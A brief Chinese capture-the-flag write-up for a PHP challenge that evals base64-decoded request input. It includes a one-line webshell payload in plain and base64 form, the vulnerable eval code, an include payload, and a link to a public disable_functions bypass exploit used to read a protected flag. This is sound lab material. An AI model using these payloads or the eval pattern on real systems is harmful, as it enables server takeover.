CheckIN
题目,代码审计:
<?php
highlight_file(__FILE__);
class ClassName
{
public $code = null;
public $decode = null;
function __construct()
{
$this->code = @$this->x()['Ginkgo'];
$this->decode = @base64_decode( $this->code );
@Eval($this->decode);
}
public function x()
{
return $_REQUEST;
}
}
new ClassName();
给变量Ginkgo传入参数,进行base64解码,然后eval执行。
phpinfo(); -->cGhwaW5mbygpOw==(base64)
开始的时候想着利用命令执行,结果发现phpinfo中把命令执行函数都过滤了:
eval没有过滤,意思就是写一句话木马,然后蚁剑连接。
?Ginkgo=eval($_POST[shell]);
?Ginkgo=ZXZhbCgkX1BPU1Rbc2hlbGxdKTs=
注意的是,这里直接通过eval执行代码,所以不能构造<?php >的一句话木马。
编码选base64,连接:
flag权限为0700,没有读的权限。
readflag权限高,但是打开:
enen…
在kali searchspolit中可以找到:
版本漏洞。
当然网上也有:https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
进行一下修改:
然后上传到/tmp目录下,通过文件包含,执行代码:
执行:
?Ginkgo=include('/tmp/1.php');
?Ginkgo=aW5jbHVkZSgnL3RtcC8xLnBocCcpOw==
总结
考点:通过参数执行命令(没啥好说的)。
通过phpinfo查看一些信息。
通过版本漏洞和已有的POC获得flag。(这一点不是很容易想的到,个人观点)。
flag本身没有很高的权限,readflag是一个突破口。
上传目录是tmp,因为该目录权限较低。